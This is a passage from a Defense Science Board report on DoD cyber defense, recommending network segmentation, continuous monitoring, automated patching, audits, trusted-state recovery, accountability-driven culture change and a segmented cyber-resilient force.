Recommendation: Enhance Defenses to Protect Against Low and Mid- Tier Threats. 8.2.1 Establish a n enterprise security architecture, including appropriate “Building Codes and Standards”, that ensure the availability of enabling enterprise missions . The architecture should allow for the ability to:  Segment the network  Provide continuous monitoring and situational awareness  Automate patch and threat management functions  Audit to the enterprise standard  Recover to a known (trusted) state  Provide out -of-band command and control for most sensitive systems  Responsibility: DoD Chief Information Officer (in collaboration with Military Departments and Agencies). ( 6 months ) DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 57 Resilient Military Systems and the Advanced Cyber Threat While the Department’s size (about 6 million devices connected to the networks) makes this problem challenging, DoD is made up of individual network segments that are connected together, just like everyone else’s networks. Examples of similar (but smaller) network structures from the larger contractors in the defense industrial base offer valuable lessons for the DoD. In 2005, a number of DoD contractors were the victims of advanced cyber attacks. Then Deputy Defense Secretary, Gordon England, held a meeting with the CEOs of the Department’s biggest suppliers and laid out a plan for what became the Defense Industrial Base (DIB) Cyber Security/Information Assurance (CSIA) Pilot program, which enabled these suppliers to share information on cyber attacks and work with the government to protect its networks. A side benefit from the DIB -CSIA pilot was the education of the CEOs about the risk and the importance of deploying a strong defense across their organizations. The result of the focus on securing their corporate networks drove the development of network security teams, led by a Chief Information Security Officer (CISO), chartered to develop and publish network standards (typically based on National Institute on Standards and Technology (NIST ) network standards) that are used by the operating divisions of the company. Networks are segmented and managed separately within the larger organization structure, but under the monitoring and influence of the CISO. Employees are trained and held accountable for their actions, networks are monitored around the clock and threat vectors are shared across network segments. Most importantly, each network segment is audited (including, penetration testing as well as compliance checks) on a regular basis, and segment organizations failing these audits must report to the CEO and Board of Directors on plans to correct the weaknesses. The Board of Director’s Audit Committee tracks progress through completion. This commitment and follow -through by the CEOs have made cyber security a high priority within these companies. While these companies are not able to block all mid and high tie r attacks, and still are not perfect against lower -tier attacks, they have made it much harder (more expensive) for attackers to succeed, reduced the “noise level” on their systems , and freed resources to focus on hunting intruders within the network (anom aly investigations). DoD represents a larger target and must also deal with operating military systems in addition to the IT structure, but the same concepts are useful. DoD has already put in place some of the pieces, but establishing an enterprise level architecture and achieving consistent compliance is still missing. Appendix 5 contains an example Enterprise Specification. Finally, DoD has a history of providing network waivers too readily for new systems coming online. While waivers are occasionally necessary, they almost always weaken the network ’s security status. Waivers that deal with out -of-date legacy equipment should be eliminated by the creation of enclaves and installation of firewalls. And, generally, DoD needs to be considerably less liberal about issuing waivers. The discipline of avoiding waivers for new systems will have a strong impact on the ultimate security posture of DoD networks. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 58 Resilient Military Systems and the Advanced Cyber Threat The goal of a consistently appli ed and managed architecture across the Department is to take the low -tier threats off the table, thereby reducing the noise level on DoD networks. More effective mitigation of mid and high tier threats then becomes feasible. 8.2.1.1 Segment the Network The Department already operate s a mesh of networks that can be controlled independentl y. That concept should be extended through all operational war fighting systems, and tests/trials/red teams should be conducted to understand the capabilities and impacts of disconnecting an infected network to prevent infection of other, interconnected networks . 8.2.1.2 Provide Continuous Monitoring and Situational Awareness An additional challenge for DoD is understanding who is “ on” and what is the operational status of their ne twork(s). Sensor deployment has begun at I nternet access points to monitor and control access and network traffic flow. These Einstein sensors provide monitoring of network ingress and egress through a system of mostly COTS network monitoring tools drive n by the NSA-provided signature set. This is a good start, but commercial tools have advanced to include capabilities to operate behind firewalls and to track anomalous activity throughout the components of a network . It is essential to provide continuous monitoring of all networks against cyber attack (see State Department example in Figure 8. 1). The information assurance of o perational systems is typically achieved through encryption of data during network transport (and occasionally at rest - while stored) or multi -level security solutions geared toward the safe handling of multiple security level s of data on the same compute r (processor). D ata must be decrypted prior to processing, and advanced attacks being used today access the data at that point , thereby circumventing the encryption. Little consideration goes into military system design today on providing test points that can report system health and operation (sensors). Are checksums overflowing in the processor? Is the processor conducting unexpected computations? There are many “tells” (symptoms) that could be detected and reported. Although such test points an d their data transmission would also become targets for cyber attack, an adversary must now have a more detailed understanding of system internal s to design a successful attack. The adversary would also be required to break into two systems (the main miss ion and test/sensor system) and change both correctly without setting off alarms to successfully infiltrate the system – a much more difficult task. In the recent wars, DoD once again learned the value of timely, detailed situational awareness on the battlefield and invested heavily in Intelligence, Surveillance and Reconnaissance (ISR ) assets. The U nited States must now build the same level of understanding into its networ ks and weapon systems. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 59 Resilient Military Systems and the Advanced Cyber Threat 8.2.1.3 Automate Patch and Threat Management Functions Much of network management in the DoD relies on manual tasks performed by overworked network technicians and administrators. The scale of manual efforts is largely driven by legacy s ystems using unsupported software operating systems and the lack of consistency in network technology implementation across the Department. The recommendation to isolate systems utilizing older software (no longer maintained by commercial industry) means those systems are removed from the group of components that is regularly updated for malware and other software attacks and then assuming that those systems are likely compromised. The larger GIG is then protected from those systems through strong interfac e firewalls and detection software. The remaining “compliant” systems can then utilize modern COTS network management software and automate much of the effort required to detect intrusions and push software patches across the network. Over time , fewer staff should be needed to maintain software patches and network configurations, allowing a shift in effort toward hunting adversaries who have penetrated our networks. Most of the COTS technologies available today have user interfaces that allow hig h levels of flexibility for determining what is deemed unusual network behavior, allowing system administrators to adjust and adapt the monitoring systems as threats evolve. 8.2.1.4 Audit to the Enterprise Standard Conduct audits and in- process reviews to devel op migration and mitigation strategies (systems that cannot be maintained in a timely matter should be restructured into enclave s and isolated from the GIG through firewalls ). The most important part of the recommendation concerns accountability and cons istency that must come from senior leadership support and enforcement. Without this management imperative , an attempt at cultural change to improve cyber security will not be taken seriously within the Department. A useful example of management proactively supporting a cyber standard and driving organizational acceptance is found within the Department of State (DOS). Several years ago the DOS CIO undertook an effort to improve the cyber security of their 100,000 desktop computer network. They fo cused on three areas: putting in place continual monitoring of their networks, developing a template and collecting audit data for building risk measures for each network, and publishing the results across the DOS to allow the sharing of best practices and using peer pressure to drive low performing network owners toward improvement. While the DOS system is certainly simpler than DoD's, many of the barriers they had to overcome: culture, use of technology , and the development of standards and DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 60 Resilient Military Systems and the Advanced Cyber Threat templates to create a common language used to address issues across the department, were very similar. DOS started with five objectives:  Scan every 36 to 72 hours  Focus on attack readiness  Find-fix top issues daily  Grade personal results  Hold ma nagers responsible Figure 8. 1 below shows an example scorecard for a network segment from the DOS network assessment process. Figure 8. 1 DOS System Risk Scorecard The data from the scorecards for each network segment are then aggregated into an enterprise view as shown in Figure 8. 2. This level of data aggregation allow ed DOS senior management to identify risky portions of their broader networks and to focus resources on those areas. While DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 61 Resilient Military Systems and the Advanced Cyber Threat the DoD should develop its own methods and processes to deal with its enterprise, the DOS example is a good reference point . Figure 8. 2 DOS Risk Score Indicator for E nterprise As a minimum for DoD , continuous monitoring of networks should be expanded to touch all elements with continuous scanning. Audits should be conducted on a regular basis (every 12 to 18 months) on each network segment. The output from the audits should be used by the Secretary of Defense and DoD CIO to improve weak performers toward “green” status and to identify and share best practices across the D oD. The results of the audits should become part of a commander’s readiness assessment for their operational systems. One particular challenge for the DoD is the number of networks and systems that contain technologies no longer supported by the commercial sector. Those systems must be identified and either updated and brought into compliance (preferred, but may not be affordable), or re - positioned in separated enclaves from the broader GIG; connection to these systems should pass through strong firewalls and sen sors at CIO controlled points. Permitting out -of-date systems to remain connected to the broader network without the strong controls at access points will only continue to offer attractive vulnerabilities for attackers to exploit. 8.2.1.5 Build Network Recovery Capability It is not unusual for a sophisticated adversary, who has infiltrated a network, to monitor in real time as the network owners try to kick them out. Frequently, the adversary then implements a counter to the network owner’s defensive actions and DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 62 Resilient Military Systems and the Advanced Cyber Threat can be back in the network in a matter of minutes or hours. To fight and win in a war that includes cyber capabilities, DoD can’t afford to have the enemy inside its control loops. If DoD is in that situation, then it needs backup (war reserve) mechanisms for C2. L ess critical systems need the ability to communicate over an alternative system to address network in trusions, forcing an adversary to penetrate multiple systems and be able to operate both in an integrated, real time fashion to track DoD counterattacks as we try to regain control of our network or system. Having the ability to gracefully degrade and main tain the most critical functions of the systems at an operational level is highly desired, and can usually be achieved with lower bandwidth links. 8.2.1.6 Recover to a Known (Trusted) State The goal for DoD operational systems should be to:  Develop the ability to know (and report) if the network or system has been penetrated,  Gracefully degrade or have provision for alternate mechanisms to continue the most critical mission functions and  Recover eventually to a known (trusted) state. Earlier recommendations addressed the first two goals . The last goal is perhaps the most challenging. While maintaining a “gold copy” of system operating software (including firmware, etc.) seems straightforward, a sophisticated adversary will implant an attack into the system via stealthy means . If th e adversary has enough patience , as operating systems are updated and gold copies evolve , the adversary’ s implant will migrate and become part of the trusted baseline. Should a future attack be executed and disable the system , restoring the gold copy software would only reinsert the adversary’ s original implant . The Department must develop methods to evolve trust ed copies of operating software for systems that ensure only the desired changes are made in the gold copy. Tools exist to perform code checks and are currently used in some important systems (e.g., strategic fire control system s). However , these tools require substantial amounts of human interaction and thus would be difficult to employ broadly across DoD systems. The Department should continue to search the commercial and contractor space to develop tools with higher levels of automation for this function. Note that these efforts may still be insufficient to protect against an opponen t that has operationally introduced vulnerabilities at the hardware level. However, for low - and mid-tier threats, properly executing these measures would significantly enhance DoD’s defensive posture. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 63 Resilient Military Systems and the Advanced Cyber Threat 8.2.2 The DoD should leverage commercial technologies to automate portions of network maintenance and “real -time” mitigation of detected malware. o Build on existing tools and capabilities currently in use o Automate response to threat conditions o Leverage cyber ranges to test emerging technology and develop tactics, techniques and procedures ( TTPs ) and guide investment strategies. o Develop mitigation/transition plans for legacy systems  Responsib ility: DoD Chief Information Officer, with support from NSA -IAD, IOC: 6 months, with enhancements released on a quarterly basis As discussed above, modern COTS software has dramatically improved and can provide automation of several key network management functions. The software products sit at the firewall and behind the firewall which is particularly important to find and track advanced persistent threats. Table 8. 1 below includes examples of technologies currently available in the commercial markets and highlights benefits that they offer. The Task Force has been careful to not recommend any products by name or endorse any specific vendors. Table 8.1 COTS Technology to Automate Portions of Network M anagement Technologies Available as COTS Benefit Threat Level Addressed Enhanced server and network device configuration management. Automated detection of the status of servers and communications equipment has been refined to a science. New tools are available to dramatically enhance system hygiene through monitoring state and automating patch management. Benefit is enhanced resiliency and better ability to rapidly recover to known best state. Tiers I, II Mobile device configuration management Enhances ability to manage mobile devices through enterprise tools. Tiers I, II Mobile device sandboxing of enterprise data and apps, including virtualization of enterprise desktops Key to preventing information loss via lost or compromised mobile devices. Tiers I, II, III Cloud server security platforms with file integrity monitoring, dynamic firewall automation, configuration monitoring/management, vulnerabilities assessments all optimized for cloud capabilities Establishes a means to test configuration and manage capabilities provided by public clouds and even internal private clouds shared by internal organizations. Tiers I - IV Automation of content distribution and control of content enabling fine - grain tracking of who is authorized to receive and read content. Mitigates some information disclosures. Tiers I - IV Advanced log and event sense - making solutions including analytic approaches for bringing all the data New Hadoop -based capabilities are enabling enhanced information fusion including sense - making over incredibly large data sets, pr oviding Tiers I - IV DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 64 Resilient Military Systems and the Advanced Cyber Threat Technologies Available as COTS Benefit Threat Level Addressed together for analysis. benefits of enhanced knowledge of adversary activities. Enhanced browser sandboxing to prevent hostile code from entry into the enterprise via the browser. Significantly reduces the ability of adversaries to trick users to download hostile content or to click on a link that points to a site with malicious code on it. Tiers I - II Enhanced configuration management enabling tracking all known state variables to determine device compliance and normality and in real time return systems to known state. Support to automated hygiene, enhanced defense and more rapid restoration after attack. Tiers I - IV Enhance network analysis and real time rule based decisions over traffic at line rates. Assessment of damage from attacks and continuous hygiene monitoring. Ability to create and update millions of rules on a single device will provide dramatic flexibili ty in creating new enclaves, blocking communication with hostile sites and preventing malicious code from entering. Will also mitigate key data exfiltration threats. Tiers I - IV While these technologies do not address Tier V -VI threats directly, when properly deployed, they make an attacker’s task of moving data throughout the systems, while remaining undetected, much more difficult. Our goal is to raise the costs for the Tier V -VI attackers to succeed, limiting the number of operations they can a fford to attempt. 8.2.3 USD(P&R) , in Collaboration with the DoD CIO and the Service Chiefs Establish a Formal Career Path for DoD Civilian and Military Personnel Engaged in Cyber Defense  Address training and certification requirements  Define career designations  Define incentives for personnel achieving higher levels of certification  Ensure that there is a cadre of high end practitioners  Completion: 18 Months with quarterly reviews with the DEPSECDEF The Task Force expects cyber -focused personnel to move between offensive and defensive focused posts throughout their career. The best defenders will be those who understand what can be accomplished from an offensive point of view (the reverse is also true). Creating cyber warriors with expertise in offensive and defensive cyber skills should be encouraged. In fact, the Task Force anticipates a greater use of our offensive capabilities to support defensive objectives. 8.3 Cyber Defense (Hygiene) Performance Measures DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 65 Resilient Military Systems and the Advanced Cyber Threat How DoD defends its systems is perhaps the most straightforward area in cyber to apply useful measures. Most successful attacks reaching DoD networks today result from a personnel failure or out -of-date software in firewalls and detection systems. Most of these attacks ar e understood and preventable through known signature management (patching), yet DoD defensive systems don't keep up, and attacks continue to penetrate DoD’s networks. The architecture and standards to be defined by the DoD CIO in the earlier recommendation provide a starting point toward improving the Department’s cyber network defensive posture. A key element for success is driving compliance through the Department. The independence taught to DoD military commanders that provides such significant benefit on the battle field is a risk to the Departments networks as systems become more and more inter -connected. Relative to cyber, the impact of risk decisions the commanders make in the field is no longer contained within the local environment. To drive the nee ded behavior, audit results from the CIO must be published and consequences imparted on those consistently out of compliance. Notional cyber defense hygiene performance measures are depicted in Figure 8.3. The first proposed measure is of the number of audits conducted. The results of these audits can be illustrated on a red- yellow - green scorecard. Corporate examples of this pra ctice allow an organization time to move a yellow audit to green by the next audit cycle (typically annually). Red audits require a plan to move the network to green status in a shortened timeframe and are reported to the CEO and the audit committee of the Board of Directors. The same level of leadership attention is required to ensure the importance of compliance to cyber security standards is understood throughout the DoD . One of the benefits to each network operating organization conducting CIO -directed audits, will be achieving a higher fidelity inventory of the types and quantities of devices connected to its network. Once those inventories are available , along with the budgets to operate the networks, DoD can produce metrics on the cost to manage a “n etwork element”. Collecting this data across DoD networks will provide a basis for comparing network architectures and the actual cost to operate them. This information can be used to identify best- in-class performance within the DoD structure and to drive greater efficiency over time across the broader structure. The Department would ultimately like to know “who” is in its system s, how they got in, and how long it took DoD to get them out and restore the system s to full operation. To prepare the Department to gather these measures in the future, DoD need s to first understand more about the basic components that drive system vulnerability and develop an ability to detect attacks. Therefore, the next proposed measure is a rollup of the average time to patch a system from the time a software update for a specific attack (signature) becomes available. This report recommends relocating this activity away from manual interaction by network operators to Figure 8. 3 Cyber Defense Hygiene Performance Measures DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 8.0 E nhancing Our Defenses to Thwart Low - and Mid -Tier Threa ts| 66 Resilient Military Systems and the Advanced Cyber Threat more automated capabilities. As automation levels are increased, the time -to-patch duration should drop precipitously, speeding protection against some (known) attack. The final measure is the average time to detect an attack that has successfully penetrated the network. As successful attacks are found in networks, forensics should be conducted to understand how the attack penetrated and propagated through the network. Gathering information to understand how attacks entered the network and how long they have been sitting in DoD networks marks the beginning toward an understanding of the Department’s ability to actually detect and remove successful attacks. It also becomes a measure of how advanced its cyber hunting skills on the network have become as more of the mundane functions are automated and more resources are turned toward ferreting out anomalies within network logs and operations. As more advanced log management tools are deployed on the network and more resources dedicated toward hunting on the network, the time that an attack resides within the network should drop. This data would provide a basis to understand how attacks get into the network, how well we find them and how long it takes to reestablish trust in our systems. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 9.0 Changing DoD’s Cyber Cultu re to Take Security More Seriously | 67 Resilient Military Systems and the Advanced Cyber Threat 9.0 Changing DoD ’s Cyber Culture to Take Security More Seriously 9.1 Background DoD’s Cyber Culture: Operational Necessity and Personal Culture -Leadership faces an immense challenge to change DoD ’s culture regarding cyber and cyber capability. Individual and organizational cyber practices result in so many cyber security breaches that many experts believe that DoD networks can never be secure with the current cyber culture. The individual’s immersion in the civil sector cyber culture and the military’s focus on mission objective are the two most important contributors to DoD ’s poor cyber culture. In the face of a threat that routinely exploits o rganizational and personal flaws, DoD leadership must develop a clear vision for the Department’s cyber culture. Most DoD employees , both military and civilian , learn ed to use the Internet and network capabilities long before they became DoD employees . The naive acceptance of trust in their personal Internet use, and increasing expectation of 24/7 access establishes the baseline for the individual’s experience with IT. Little to no thought is given regarding the implications of the vulnerabilities of the se personal computing platforms (e.g. smart phones, cameras, printers, etc.). While there is an increasing awareness of personal cyber vulnerability (e.g. identity theft, stolen passwords, etc) and a slowly evolving corresponding acknowledgement of the ne ed for increased security requirements, most problems have not resulted in repercussions serious enough to change behavior. There is very little personal accountability maintained in the civil cyber environment and the consequences of risky behavior is generally marginalized (e.g. the majority of individuals still use predictable and/or easy to crack passwords). Returning to the simpler, more secure non -networked days to solve this problem is an unreasonable expectation and the individual’s ability to und ermine effective defensive measures cannot be over stated. Since personal cyber practice will potentially trump any rules DoD attempts to impose on its workforce, DoD leadership must take significant steps to educate and impose accountability on individual cyber behavior. Military culture thrives on overcoming barriers to achieve mission objectives, leaving cyber security , at best, a second thought for even knowledgeable commanders. A common refrain from operational commanders is “Better to be judged by twelve than carried by six.” While mission objectives can and should take primacy, commanders must realize the implications of cyber security compromise. A simple tactical expedient in the most remote theater of operations can, under certain circumstanc es, create a strategic vulnerability elsewhere in the world. However, this is not the first time commanders and political leaders were forced to make disciplined decisions trading tactical objectives against strategic capability. The U nited States and UK exploitation of ULTRA in World War II often traded short term gains for long term strategic objectives. ULTRA exploitation was so sensitive that it was not officially disclosed until 1974, almost 30 years after the end of WW II. Additionally, few comman ders know or understand the intricate network of devices, hardware, and software that provide them the combat capabilities they depend on to accomplish their DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 9.0 Changing DoD’s Cyber Cultu re to Take Security More Seriously | 68 Resilient Military Systems and the Advanced Cyber Threat missions (e.g. Deputy Secretary Lynn’s article “ Defending a New Domain”) , nor the tools and techniques that are required to infiltrate their systems some as simple as access control. For example the Task Force received a briefing that provided an account of the same individual providing red team member’s access via the same k nown vulnerability two years in a row. Especially worrisome, the individual in question complained to the testing team in year two about the lapse in year one. The individual’s failure to address personal shortcomings and the Command’s failure to hold it s individuals responsible for cyber security in the most routine tasks creates untold vulnerabilities easily exploited by any tier threat. Communicating Change : Absent strong leadership , individual and organizational behavior are unlikely to change fro m the permissive and open environment we experience in our personal lives. Senior DoD leadership must communicate a new vision of cyber excellence to the entire Department. This challenge is not new. The U .S. military is one of the best organizations in the world at driving culture and compliance when it chooses . DoD possesses robust cultures impacting physical fitness, weapon control, and handling of classified material-- all communicated by leadership and supported by policy, processes and procedures, training, and breach response actions that strong ly reinforce policy to include penalties and loss of privilege that result in loss of employment or prison. In some of the programs mentioned above, achieving compliance required removing the local command er’s discretion (e.g. continued failing of weight standards or the physical readiness test will result in dismissal no matter how well the individual performs in all other aspects of their job). Clear expectations of the consequences and mandatory reporting of objective measurements created the environment to drive behavior in the desired direction. To implement the Department’s leadership vision, DoD must develop and apply similar disciplined approaches of personal and command accountability for cyber ac tions. Leadership must establish policies, standards, and expectations for secure use of DoD networks and systems. While implementation of some cultural practices allow for local command discretion, the cyber threat is too serious. Policies, standards, and expectations must be consistent and not be optional. To support culture change, leadership focus must provide effective, consistent and sustainable training and education programs. Too much of DoD ’s required cyber training is a static, check - the-box drill. DoD needs to develop training programs with evolving content that reflects the changing threat, increases individual knowledge, and continually reinforces policy. Training and education programs should include innovative and effective testing mec hanisms to monitor and catch an individual’s breach of cyber policy. For example, DoD could conduct random, unannounced phishing attacks against DoD employees similar to one conducted in April of 2011 by a high tech organization to test the cyber security awareness of its workforce. Within a one week period the organization’s CIO sent a fake email to about 2000 of its employees. The fake email appeared to originate from the organization’s Chief Financial Officer and warned the employees that the organiza tion had incorrectly reported information to the Internal Revenue Service that could result in an audit of their tax return. To determine if they were affected, they were asked to go to (click) to a particular website. Almost 50% of the sample clicked on DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 9.0 Changing DoD’s Cyber Cultu re to Take Security More Seriously | 69 Resilient Military Systems and the Advanced Cyber Threat the link and discovered that this had been a c yber security test. Each of them had failed. Had this been a real phishing attack, every one of these employees not only would have compromised their machines but would have put the entire organization at risk. Following an initial education period, failures must have consequences to the person exhibiting unacceptable behavior. At a minimum the consequences should include removal of access to network devices until successful retraining is accomplished. M ultiple failures should become grounds for dismissal. An effective training program should contribute to a decrease in the number of cyber security violations. Exercises provide another mechanism to increase effectiveness in an increasingly diverse and hostile cyber environment. Numerous DoD components use realistic exercise programs to increase operational proficiency. Similar techniques must be developed and applied to DoD components and enterprise. Exercise realism should grow from year to year to ensure the DoD closes the cyber threat vulnerability gap. Today , information assurance and mission assurance are inseparable – as such, command readiness should assess and include cyber policy compliance. Established in 1999, the Defense Readiness Repo rting System provides a broad assessment of personnel and systems related to the successful execution of DoD missions. The current DoD Directive ( DoD D 7730.65, certified current as of April 23, 2007) provides readiness criteria for virtually every element of war fighting capability, including personnel education, training, and proficiency testing. There are measures to assess Commanders on unit fitness to execute assigned missions and penalties for failure to meet specific standards. Nowhere in the readi ness structure are there criteria that specifically address es the performance of IT components critical to the successful execution of the mission. Reflecting on BUCKSHOT YANKEE, the infection was (likely) caused by a well- intentioned service member who violated policy by moving a flash media device between the unclassified and classified domains. This action resulted in severe impacts on operations and literally months of recovery by individuals already overextended with their normal duties. While this was one of the most egregious examples, any Tier II Computer Network Defense Service Provider (CNDSP) will readily admit that infection of the classified networks due to the inappropriate use of media devices occurs on an all too regular basis. Absen t accountability, the situation will never change. Today’s permissive cyber culture allows personnel to violate cyber policy in order to get the local job done. These local decisions frequently put the enterprise at risk and as a consequence , mission ass urance at risk. 9.2 Recommendation : Change DoD’s Culture Regarding Cyber and Cyber Security. 9.2.1 Establish a DoD- wide policy, communication , and education program to change the culture regarding cyber and cyber security Secretary of Defense, Chairman, Joint Ch iefs of Staff and their direct reports communicate a vision of DoD Cyber Security for 2020. Secretary of Defense and CJCS provide direct communication to all organizational elements explaining the threat and consequences of cyber actions is essential to c hange DoD ’s cyber culture. Leadership must change the DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 9.0 Changing DoD’s Cyber Cultu re to Take Security More Seriously | 70 Resilient Military Systems and the Advanced Cyber Threat current culture which is focused on an overwhelming emphasis on operational objectives and shaped by daily exposure in civil cyberspace that imposes little cost to risky behavior.  Commander, USCYBERCOM and the DoD CIO establish a plan with measureable milestones and flow down to all organization elements. The plan must comprise:  The policy, operational rules , and expectations for secure use of DoD networks & systems  The training program and f ollow on continual reinforcement of the policy  A small “tiger team” of experts to monitor , test, and catch breaches in policy  Clear punitive consequences for breaches of policy DoD must develop training that evolves with the threat and increases individual knowledge. Training failures must bring consequences, including removal of access to network devices until successful retraining is accomplished. Multiple failures should become grounds for dismissal. Commanders should use exercises as opportunities to test cyber -hygiene. Realism in exercises should grow over time to ensure operational forces are resilient in the face of an evolving cyber threat.  Follow ing the education period and a short grace period, penalties should be imposed similar to the breach of policy for classified material  Command readiness should assess and report cyber policy compliance. SECDEF should require the policy to be communicated within 60 days a nd the education and roll out to every DoD and contractor employee in 9 months. The current DoD Directive ( DoD D 7730.65, certified current as of April 23, 2007) must be modified to include readiness criteria for cyber capability. Specific performance me asures related to the IT components critical to the successful execution of the mission must be used to assess Commanders on unit fitness to execute assigned missions and the readiness system must incorporate penalties for failure to meet specific standard s. 9.3 Cyber Culture Performance Measures The cultural aspect of developing an understanding of the importance of proper cyber hygiene and conduct will probably be the most difficult to achieve activity recommended in this report. It requires changing perc eptions and history of how military and civilian personnel are taught to operate. Cyber culture must become as important as weapons handling or physical fitness to our military service members and DoD personnel (and the contractors who support them). Only two performance measures are proposed in this section (Figure 9.1) . Each is very simple and consists of easily gathered data. The first is the percentage of the total population to complete the DoD Cyber education program. The green level for the measure should be set very high (above 99%) and the Secretary and his/her direct reports need to take an active ownership role DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 9.0 Changing DoD’s Cyber Cultu re to Take Security More Seriously | 71 Resilient Military Systems and the Advanced Cyber Threat and participate in this education program to ensure every DoD person has the ma ndatory training. The second measure is cyber security violations, rolled up across the Department, and on the same chart the number of punitive actions that have been taken as a result of those violations. Until there are well understood and supported consequences for violating cyber security policies, cyber security will never be viewed as important across the Department. Figure 9. 1 Cyber Culture Performance Measures DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 72 Resilient Military Systems and the Advanced Cyber Threat 10.0 Building a Cyber Resilient Force 10.1 Background Creating a cyber- resilient force in a cost effective manner will challenge DoD . The cyber threat’s pernicious intrusion into every aspect of DoD , and its support community , create a global exploitation opportunity for any adversary willing and able to discover or create vulnerability. Fortunately, DoD ’s experience in building its nuclear deterrent forces provides a proven model to achieve a cyber resilient force (segregation, inspection, trusted suppliers, etc.). 10.1.1 Building a Cyber Resilient Force : The fundamental purpose of building a cyber resil ient force is to achieve mission assurance in the cyber environment. Achieving affordable mission assurance, especially against high tier threats (V -VI), requires discipline to first identify protected- conventional capabilities that the U nited States can rely upon in a cyber attack and then to segment specific forces that will be used to accomplish desired missions. Only these forces receive the highest degree of cyber resilience necessary for assured operation in the face of a full spectrum adversary. This protected -conventional capability , combined with offensive cyber discussed in Chapter 7, form the rungs of an escalation ladder with nuclear forces at the top. To achieve a high degree of cyber resilienc e at an affordable cost, the Department must segm ent and segregate the force structure that deliver the desired capability in response to a cyber threat. As mentioned previously , segmentation must differentiate only those forces required to achieve the desired mission and is not required across an entire capability. This will require a different way of managing the capability. (For example, designating 20 aircraft by tail number as cyber resilient , out of a fleet of hundreds, segregated and treated as part of the cyber critical survivable miss ion force. ) Segmented forces must remain separate and isolated from the general forces , with no dual purpose missions (e.g. the current B -52 conventional nuclear mission). Segmented forces can be used in regional and theater cyber conflicts as a standalon e cyber -resilient capability. Once specific systems are identified, they must be brought to a known cyber resiliency standard which can be used to design, build and measure capability against. The standard must evolve as the cyber threat changes but the Task Force identified a set of attributes for consideration:  Return to a TRUSTED, known state. The known state must be time invariant. Failing this, components must be controlled throughout their lifecycle and segregated from general purpose forces, in cluding use of and connection to general force networks ;  Maintain component awareness/control (e.g. sensing and reporting of buffer overflow conditions and bit parity checks, reporting and control of update/file transfer points (e.g. USB ports), real time or near real time monitoring at the component level to ensure installation of authentic components/software ); DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 73 Resilient Military Systems and the Advanced Cyber Threat  Maintain network awareness/control (e.g. installation of sensing points to measure network performance and patterns, trusted log audit capability, and trusted and automated patch/update capabilities );  Provide operational environment support (e.g. identify conditions under which a system can be connected to specified network, conditions under which it must be disconnected or operate in a degraded mode such as use of an out of band path that supplies x% of the unfettered capability , and recovery mechanisms ). Once developed , the standard should inform the requirements process which would allow the operational community to know what it is asking for and also what it is receiving . In addition, a subset of the resiliency standard should be applied to the rest of the force structure a t every opportunity to incrementally raise the overall cyber resiliency of DoD. Development and application of a resiliency standard will help tell wh at DoD is building , but DoD must also focus on how it will accomplish mission assurance. 10.1.2 Subject Defined “ Cyber Critical Systems” to More Stringent Mission Assurance Activities : The bottom line objective of system resiliency is assuring mission exe cution . Therefore, the designated systems must be subjected to a mission assurance assessment process depicted in Figure 10. 1 that is structured around a knowledgeab le workforce, incorporates feedback from every available means, conducts research and develops new technology addressing cyber resiliency issues, and manages life cycle integrity . Figure 10. 1 Mission Assurance Assessment Process The study team could not identify any instances where mission- based analyses were being routinely and systematically used to enhance cyber resiliency. However, there is recognition within DoD of the need for such assessments; for example, the wor king group under the DoD Cyber Integration Group charged with the task “develop and implement resilient, defensible cyber environment” is promoting activities that would lead to such assessments. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT 10.0 Building a Cyber Resilient Force | 74 Resilient Military Systems and the Advanced Cyber Threat Enhancing Operational Feedback : As mentioned above, success will require operational know - how. While the current level of cyber activity develops a cache of experience and operational know- how that can be applied to the workforce, there are gaps at all levels (tactical, operational, and strategic) due to the newness and current compartmentalization of cyber operations. Lacking a full scale cyber war, the development of U .S. nuclear deterrent forces again provides a good model for obtaining operational knowledge in the cyber environment. Specifically , the Departm ent should develop/expand opportunities, including enhanced ability to feed to/from operational exercises (e.g. CCMDs , Services, joint operations) and the testing community, developing sophisticated modeling and simulation capabilities, utilizing inputs fr om the intelligence community, and building partnerships with the private sector that provide information of the operational cyber environment to be applied to building cyber critical survivable mission force components. The Department is moving in thi s direction. For example, in February 2011, C hairman, Joint Chiefs of S taff issued an i nstruction 36 to incorporate 